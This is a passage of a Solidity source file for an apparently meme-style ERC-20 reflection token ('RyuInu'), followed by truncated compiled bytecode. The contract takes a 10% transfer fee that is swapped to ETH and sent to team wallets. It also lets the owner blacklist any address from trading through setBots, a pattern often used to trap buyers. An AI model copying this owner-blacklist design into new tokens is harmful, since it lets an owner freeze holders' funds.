_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 1;
_teamFee = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 1;
_teamFee = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600981526020017f527975496e755061640000000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f527975496e750000000000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6001600a819055506009600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576001600a819055506009600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7